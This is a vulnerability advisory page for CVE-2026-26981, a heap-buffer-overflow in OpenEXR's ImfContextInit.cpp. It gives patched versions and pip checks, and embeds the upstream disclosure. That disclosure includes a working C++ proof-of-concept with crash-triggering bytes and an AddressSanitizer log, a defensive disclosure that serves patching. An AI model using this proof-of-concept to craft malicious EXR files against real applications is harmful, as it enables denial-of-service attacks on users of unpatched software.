CVE-2026-26981: OpenEXR OpenEXR Has Heap-buffer-overflow Vulnerability
MODERATECVE-2026-26981 is a MODERATE (CVSS 6.5) openexr has heap-buffer-overflow vulnerability (CWE-195: Signed to Unsigned Conversion Error) affecting OpenEXR libraries in the PyPI ecosystem. The issue involves openexr has heap-buffer-overflow via signed integer underflow in imfcontextinit.cpp. Remediation is available by upgrading affected packages to version 3.3.7, 3.4.5.
CVE-2026-26981 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-26981
To remediate this vulnerability, upgrade all affected OpenEXR dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install OpenEXR>=3.3.7
pip install OpenEXR>=3.4.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show OpenEXR
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-26981, inspect your installed packages using pip:
pip show OpenEXR
Analyze the terminal output to locate any version of OpenEXR in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.3.7), your application is affected.
Note: The pip show OpenEXR command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-195: Signed to Unsigned Conversion Error, where the product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive. In OpenEXR, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-26981 Affected OpenEXR Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
OpenEXR
|
PyPI |
≥ 3.3.0
< 3.3.7
|
3.3.7
|
|
OpenEXR
|
PyPI |
≥ 3.4.0
< 3.4.5
|
3.4.5
|
References
Frequently Asked Questions
What is CVE-2026-26981?
Which OpenEXR versions are affected?
What version fixes CVE-2026-26981?
Is OpenEXR affected?
What is the CVSS score of CVE-2026-26981?
What CWE is associated with CVE-2026-26981?
How can I check PyPI dependencies for CVE-2026-26981?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-q6vj-wxvf-5m8c",
"modified" : "2026-04-06T17:51:37Z",
"published" : "2026-04-06T17:51:37Z",
"aliases" : [ "CVE-2026-26981" ],
"summary" : "OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp",
"details" : "## Summary\n\nA heap-buffer-overflow (OOB read) occurs in the `istream_nonparallel_read` function in `ImfContextInit.cpp` when parsing a malformed EXR file through a memory-mapped `IStream`. A signed integer subtraction produces a negative value that is implicitly converted to `size_t`, resulting in a massive length being passed to `memcpy`.\n\n## Affected Version\n\n- OpenEXR **main branch** (commit at time of testing)\n- `src/lib/OpenEXR/ImfContextInit.cpp`, lines 121–136\n\n## Root Cause\n\n`ImfContextInit.cpp:121-126`:\n\n```cpp\nint64_t stream_sz = s->size (); // e.g., 21 (actual file size)\nint64_t nend = nread + (int64_t)sz; // e.g., 17 + 4096 = 4113\nif (stream_sz > 0 && nend > stream_sz)\n{\n sz = stream_sz - nend; // 21 - 4113 = -4092 (signed)\n}\n// ...\nmemcpy (buffer, data, sz); // sz is size_t → wraps to 0xFFFFFFFFFFFFF004\n```\n\n`sz` is of type `size_t` (unsigned), but `stream_sz - nend` yields a negative `int64_t` value. This negative value is implicitly converted to `size_t`, wrapping around to a value close to `2^64`, which is then passed to `memcpy` causing a heap-buffer-overflow.\n\n**Suggested fix:** `sz = stream_sz - nend` → `sz = stream_sz - nread`\n\n## Reproduce\n\nBuild OpenEXR as static libraries with ASAN enabled, then compile the PoC below.\n\n**PoC Code:**\n\n```cpp\n#include <cstdint>\n#include <cstring>\n#include <iostream>\n\n#include <ImfMultiPartInputFile.h>\n#include <ImfInputPart.h>\n#include <ImfHeader.h>\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER\n\nclass MemMapIStream : public IStream\n{\npublic:\n MemMapIStream (const uint8_t* data, size_t len)\n : IStream (\"poc_input\")\n , _data (reinterpret_cast<const char*> (data))\n , _size (static_cast<int64_t> (len))\n , _pos (0)\n {}\n\n bool isMemoryMapped () const override { return true; }\n\n bool read (char c[], int n) override\n {\n int64_t avail = (_pos < _size) ? (_size - _pos) : 0;\n int64_t copy = (static_cast<int64_t> (n) < avail) ? n : avail;\n if (copy > 0) memcpy (c, _data + _pos, copy);\n _pos += n;\n return _pos <= _size;\n }\n\n char* readMemoryMapped (int n) override\n {\n if (_pos + n > _size)\n throw IEX_NAMESPACE::InputExc (\"read past end\");\n const char* p = _data + _pos;\n _pos += n;\n return const_cast<char*> (p);\n }\n\n uint64_t tellg () override { return static_cast<uint64_t> (_pos); }\n void seekg (uint64_t pos) override { _pos = static_cast<int64_t> (pos); }\n\n int64_t size () override { return _size; }\n\nprivate:\n const char* _data;\n int64_t _size;\n int64_t _pos;\n};\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT\n\nint main ()\n{\n static const uint8_t crash_data[] = {\n 0x76, 0x2f, 0x31, 0x01,\n 0x02, 0x06, 0x00, 0x00,\n 0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,\n 0x20, 0x00, 0x00,\n 0x53, 0x00, 0x00, 0x00\n };\n\n try\n {\n Imf::MemMapIStream stream (crash_data, sizeof (crash_data));\n Imf::MultiPartInputFile file (stream);\n }\n catch (const std::exception& e)\n {\n std::cout << \"Exception: \" << e.what () << \"\\n\";\n }\n\n return 0;\n}\n```\n\n**PoC Input:** https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link\n\n## ASAN Log\n\n```\n==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)\n #0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21\n #2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16\n #3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29\n #4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9\n #5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24\n #6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10\n #7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18\n #8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49\n #9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const&, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10\n #10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7\n #11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream&, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7\n #12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31\n #13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5\n #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5\n #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n #21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\n0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)\nallocated by thread T0 here:\n #0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n #7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\nSUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy\n==305348==ABORTING\n```\n\n## Impact\n\n- **DoS** — Any application that opens a crafted EXR file will crash immediately\n- **CWE-195** (Signed to Unsigned Conversion Error) → **CWE-122** (Heap-based Buffer Overflow)\n- Affects any application using an `IStream` implementation where `isMemoryMapped()` returns `true`",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "OpenEXR"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.3.0"
}, {
"fixed" : "3.3.7"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "OpenEXR"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.4.0"
}, {
"fixed" : "3.4.5"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-26981"
}, {
"type" : "WEB",
"url" : "https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef"
}, {
"type" : "WEB",
"url" : "https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/AcademySoftwareFoundation/openexr"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-195" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-06T17:51:37Z",
"nvd_published_at" : "2026-02-24T03:16:01Z"
}
}